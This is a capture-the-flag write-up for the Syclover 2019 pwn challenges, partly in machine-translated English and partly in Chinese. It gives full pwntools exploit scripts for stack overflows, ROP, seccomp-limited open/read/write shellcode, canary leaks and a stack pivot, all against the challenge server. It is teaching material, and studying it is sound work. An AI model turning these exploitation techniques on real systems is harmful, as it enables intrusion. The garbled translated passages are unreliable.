Syclover2019 WP

pwn

Find Tools

  No attachments, only to remote environments, to let us use pwntools tool, exp as follows:

from pwn import *
p=remote('pwnto.fun',9999)
p.recvuntil("password:")
p.send ( ' l1ve_l0ng_and_pwn ' )   # not be used here sendline (incorporated '\ n-') 
p.recv ()
 Print p.recv   # ! The received print flag 
# p.interactive () This question only send and receive packets, obtained by receiving the flag, rather than get shell obtained, it does not need to interact

pwntools IO modules:

p.send (Data)   # transmit data 
p.sendline (Data)    # !! transmission data and '\ n-' 
p.recv (= 2048 Numb, timeout = default)    # receiving the specified timeout data byte and 
p.recvline ( = True keepends)      # receiving line data 
p.recvuntil ( " ... " , drop = false) # receive data until the flag we set 
p.recvall ()     # a direct EOF received so far 
p.recvrepeat (timeout = default)     # continued until EOF is received or a timeout occurs 
p.interactive ()     # obtained after shell into the interactive mode
Baby rop

View protection:

Opened the NX protection, rop solve, exp as follows:

from pwn import *
context(log_level='debug')
p=remote('pwnto.fun',10000)
payload='a'*0x88+p64(0x400618)
#p.recvuntil('me?\n')
p.send(payload)
p.interactive()

Note:

1. Open the NX protection, we can not use the data field in the / bin / sh:

 

But the title left gadgets:

 

2. A logic should be started in accordance with the code to the puts (), but after the connection test nc we find it necessary to enter, it can be directly transmitted payload

Where 3.gets () and read () function corresponding to sendline () & send () of

Baby Shellcode

First check protection:

No canary directly stack overflow protection, 64 Disassembly:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char v4; // [rsp+0h] [rbp-30h]
  void *buf; // [rsp+28h] [rbp-8h]

  buf = mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);
  sub_400999();
  sub_400956();
  puts("A simple shellcode for U, have fun!");
  read(0, buf, 0x64uLL);
  puts("Why not play CSGO?");
  read(0, &v4, 0x64uLL);
  return 0LL;
}

其中,

void * mmap(void *start, size_t length, int prot , int flags, int fd, off_t offset)

start:要映射到的内存区域的起始地址,通常用NULL,表示由内核来指定该内存地址。所以我们看到buf指向从地址0x123000开始的一段内存,同时有两个可以利用的read函数,大致思路应该是:先向buf指向的内存中注入shellcode,再利用第二个read函数栈溢出执行我们的shellcode。

发现有hint:

和HitconTraining-LAB2极其相似,留了后门函数但是无法实现:

 

这是因为程序中开启了seccomp保护:

seccomp是一种内核中的安全机制,正常情况下程序可以使用所有的syscall,而使用了seccomp后我们可以禁用一些syscall。hint中提示我们只能使用open\write\read三个函数(orw),所以我们的任务就是注入通过open\write\read读取flag文件的shellcode,exp如下:

from pwn import *
context(arch='amd64',os='linux')
#生成64位下的shellcode
p=remote('pwnto.fun',12300)
#p=process('./RushB')
shellcode = shellcraft.pushstr("flag")  
#根据hint,flag和bin在同一目录下
shellcode += shellcraft.open("rsp")     
shellcode += shellcraft.read("rax", "rsp", 0x30)
shellcode += shellcraft.write(1, "rsp", 0x30)
#ssize_t read(int fd, void *buf, size_t count);
#ssize_t write (int fd, const void * buf, size_t count); 
p.recvuntil("A simple shellcode for U, have fun!\n")
p.send(asm(shellcode))
shellcode_addr=0x123000
p.recvuntil("CSGO?\n")
payload='a'*0x38+p64(shellcode_addr)
p.send(payload)
p.interactive() 
Baby Canary

如题,开启了canary保护和NX保护,这说明我们不能使用正常的栈溢出,

 

64位反汇编:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *buf; // ST08_8
  int fd; // [rsp+4h] [rbp-2Ch]
  char v6; // [rsp+10h] [rbp-20h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  init();
  fd = open("flag", 0);
  if ( fd < 0 )
  {
    printf("Not find flag, Wrong!");
    exit(0);
  }
  buf = malloc(0x20uLL);
  read(fd, buf, 0x10uLL);
  puts("Rop is easy for U, try bypass the check!");
  printf("Here is your key: %p\n", buf);
  puts("Say something before leaving.");
  gets((__int64)&v6);
  printf("I hava received your message, bye!");
  return 0;
}

其中,buf指向一段内存空间,flag文件的内容读入到了这段内存空间中,同时给了我们key,也即内存空间(flag文件内容)的地址。

在学长的hint下才有了解题的正确方式emmm,wtcl,其实这道题和上一道有一点相似之处在于我们不需要get shell,只需要读取flag文件内容。根据这两点,其实我们不需要执行key,而是得到key中存储的内容,这就排除了泄露\爆破canary的做法。所以这道题是触发canary,执行__stack_chk_fail( )函数,泄露出flag内容,原理如下:

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminatedn",
                    msg, __libc_argv[0] ?: "<unknown>");
}

__stack_chk_fail( )函数定义中可以看出,报错信息会打印出__libc__argv[0]中存储的字符串, 如果我们将其覆盖成key值,就能打印出flag了。

在main( )函数下断点:

 

看到RSI寄存器中存储了参数__libc__argv[0],我们需要将其改成key,

 

从IDA中得到我们输入的字符串距离栈底ebp 0x20,通过|rbp-20h-rsi|的值来得到正确的偏移量,于是exp如下:

from pwn import *
context(log_level='debug')
p=remote('pwnto.fun',10007)
p.recvuntil("key: ")
flag_addr=int(p.recv(8),16)
#64位接收8个字节
#print flag_addr
payload='a'*0x108+p64(flag_addr)
#0x108就是我们的偏移量
p.recvuntil("leaving.\n")
p.send(payload)
p.interactive()
Easy canary

最常见的canary泄露套路,关键部分:

unsigned int fun()
{
  char buf; // [esp+8h] [ebp-20h]
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  puts("The is a baby rop ! Hava fun!");
  puts("So, do u have anything to tell me?");
  read(0, &buf, 0x32u);
  puts("Here is your gift: ");
  puts(&buf);
  puts("Keep try!");
  read(0, &buf, 0x64u);
  return __readgsdword(0x14u) ^ v2;
}

利用read( )函数触发canary保护机制后利用puts(&buf)函数泄露canary的值,利用第二次的read( )函数覆盖canary绕过保护,利用程序中的root函数(gadgets)实现栈溢出拿到shell,exp如下:

from pwn import *
context(log_level='debug')
p=remote('pwnto.fun',10001)
payload1='a'*(0x20-0xC)
p.recvuntil("me?\n")
p.sendline(payload1)
p.recvuntil("gift: \n")
p.recvuntil('a'*20)
canary=u32(p.recv(4))-0xa
print hex(canary)
p.recvuntil("try!\n")
payload2='a'*(0x20-0xC)+p32(canary)+'a'*0xC+p32(0x08048647)
p.send(payload2)
p.interactive()

注:此处我们必须发送多发送一个字节触发canary保护才能实现泄露.

Not bad
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);
  sub_400949();
  sub_400906();
  sub_400A16();
  return 0LL;
}

程序一开始为我们分配了从0x123000开始的一段连续的内存空间,也就是说有一段内存可以供我们随便读写执行,比如写入并执行shellcode和存放flag内容,可以看到:

int sub_400A16()
{
  char buf; // [rsp+0h] [rbp-20h]

  puts("Easy shellcode, have fun!");
  read(0, &buf, 0x38uLL);
  return puts("Baddd! Focu5 me! Baddd! Baddd!");
}

这里的read的长度只有0x38,不够存放orw,因此我们这里可以利用构造rop,执行read函数,读入shellcode到分配的内存上,利用

栈迁移执行shellcode,exp如下:

from pwn import *
#p=process('./bad')
p=remote('pwnto.fun',12301)
context(log_level='debug',os='linux',arch='amd64')
#gdb.attach(p)
#jmp_rsp的地址
jmp_rsp_addr=0x0000000000400a01

#read(0,0x123000,0x100)
#x64下read函数的调用号为0(rax传入),rdi存放第一个参数,rsi存放第二个参数,rdx存放第三个参数
shellcode='''
xor rdi,rdi
push 0x123100
pop rsi
push 0x100
pop rdx
xor rax,rax
syscall
'''

#利用jmp rsp; sub rsp,xxx; jmp rsp; 劫持rsp控制程序执行流程,在栈上进行了跳转
sub_jmp='''
sub rsp,0x30
jmp rsp
'''
#劫持rsp到具体的地址
#此处曾尝试写入地址跳转值0X123000但在环境ubuntu18.04中一直无法实现
jmp_123100='''
push 0x123100
pop rsp
jmp rsp
'''

#将shellcode存放于0x123100处并劫持rsp进行执行
read_addr=asm(shellcode)+asm(jmp_123100)
#栈溢出
payload1=read_addr+'a'*(0x28-len(read_addr))+p64(jmp_rsp_addr)+asm(sub_jmp)

p.recvuntil("Easy shellcode, have fun!\n")
p.sendline(payload1)

#open(const char *filename,int flags,int mode) x64下调用号2(rax)
#push rsp把栈顶指针寄存器中的值也即指向文件路径的指针赋值给rdi
open='''
push 0x67616c66  
push rsp
pop rdi
xor rsi,rsi
xor rdx,rdx
push 2
pop rax
syscall
'''

#read(unsigned int fd,char *buf,size_t count) 其中open函数的返回值也就是fd,存放于rax中
read='''
push rax
pop rdi
push 0x123200
pop rsi
push 0x100
pop rdx
xor rax,rax 
syscall
'''
#write(unsigned int fd,const char *buf,size_t count) 1为标准输出流,rsi和rdx不变,系统调用号为1
write='''
push 1
pop rdi
push 1
pop rax
syscall
'''
#在syscall read时注入shellcode
payload2=asm(open)+asm(read)+asm(write)
p.sendline(payload2)
p.interactive()

Guess you like

Origin www.cnblogs.com/Theffth-blog/p/12234947.html
WP2